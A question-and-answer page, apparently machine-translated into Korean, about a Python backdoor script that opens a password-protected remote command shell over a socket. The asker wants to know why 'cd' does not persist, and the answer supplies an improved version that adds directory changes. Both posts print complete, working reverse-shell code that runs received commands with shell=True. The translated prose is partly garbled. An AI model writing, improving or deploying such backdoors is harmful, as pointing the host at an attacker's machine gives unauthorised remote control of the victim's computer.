백도어 셸에서 디렉토리를 변경할 수 없습니다.

Question

다음은 포트 1234에서 내 컴퓨터에 대한 연결을 설정하는 Python 스크립트입니다. Netcat을 사용하여 해당 포트에서 수신 대기 한 다음 터미널을 사용하여 내 컴퓨터에서 작업을 수행 할 수 있습니다 나는 이것이 사소한 것임을 알고 있지만, 연습을위한 것임).

"ls, mkdir, pwd, rm 또는 심지어"ls/root/Desktop/"과 같은 명령이 작동하지만"cd/root/Desktop "또는"cd .. "는 그렇지 않습니다. . 실제로 정말 나쁜 입력됩니다 작업 "CD는 ..."오류 메시지를 반환하지 않습니다, 그러나 그것 또한 디렉토리를 변경하지 않는 내 파이썬 디렉토리를 떠날 수 없다 여기

는 스크립트입니다..

#! /usr/bin/python 
import socket 
import subprocess 

host = "localhost" 
port = 1234 
passwd = "hacking" 


def login(): 
    global s 
    s.send("Login: ") 
    pwd = s.recv(1024) 

    if pwd.strip() != passwd: 
     login() 
    else: 
     s.send("Connected #> ") 
     shell() 

def shell(): 
    while True: 
     data = s.recv(1024) 

     if data.strip() == ":kill": 
       break 

     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
           stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     output = proc.stdout.read() + proc.stderr.read() 
     s.send(output) 
     s.send("#> ") 



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port)) 
login() 

내가 here에서 얻었다.

이 사람이 나를 도울 수 있습니까? 어떤 생각 w을 나는 디렉토리를 떠날 수 없다? 미리 감사드립니다!

Answer 1

실제로 제대로 작동합니다. 단일 명령에서 이것을 시도한 경우 cd /other/directory; ls. 디렉토리가 실제로 해당 명령의 지속 기간 동안 "변경"되었음을 알 수 있습니다. 모든 새로운 명령은 새로운 환경을 가져옵니다 (다시 원래의 동일한 디렉토리로 되돌아갑니다). 명령 사이에서 "서버 컨텍스트"를 변경하려면 파이썬에서 수행해야합니다. "죽이는"명령, 스크립트 페이지의 경우 "CHDIR/새/디렉토리는"다음 파이썬은 CHDIR 함수를 실행, 그렇지 않으면 같은

#! /usr/bin/python 
import socket 
import subprocess 
import os 

host = "localhost" 
port = 12345 
passwd = "hacking" 


def login(): 
    global s 
    s.send("Login: ") 
    pwd = s.recv(1024) 

    if pwd.strip() != passwd: 
     login() 
    else: 
     s.send("Connected #> ") 
     shell() 

def shell(): 
    while True: 
     data = s.recv(1024).strip() 

     if data == ":kill": 
       break 

     try: 
      cmd, params = data.split(" ", 1) 
      if cmd == ":chdir": 
       os.chdir(params) 
       print "chdir to %s" % (params) 
       s.send("#> ") 
       continue 
     except: 
      pass 

     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
           stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
     output = proc.stdout.read() + proc.stderr.read() 
     s.send(output) 
     s.send("#> ") 



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port)) 
login() 

같은 생각 : 아래 더러운 예는 귀하가 제공 한 코드에 추가 그것을 Popen에 전달하십시오.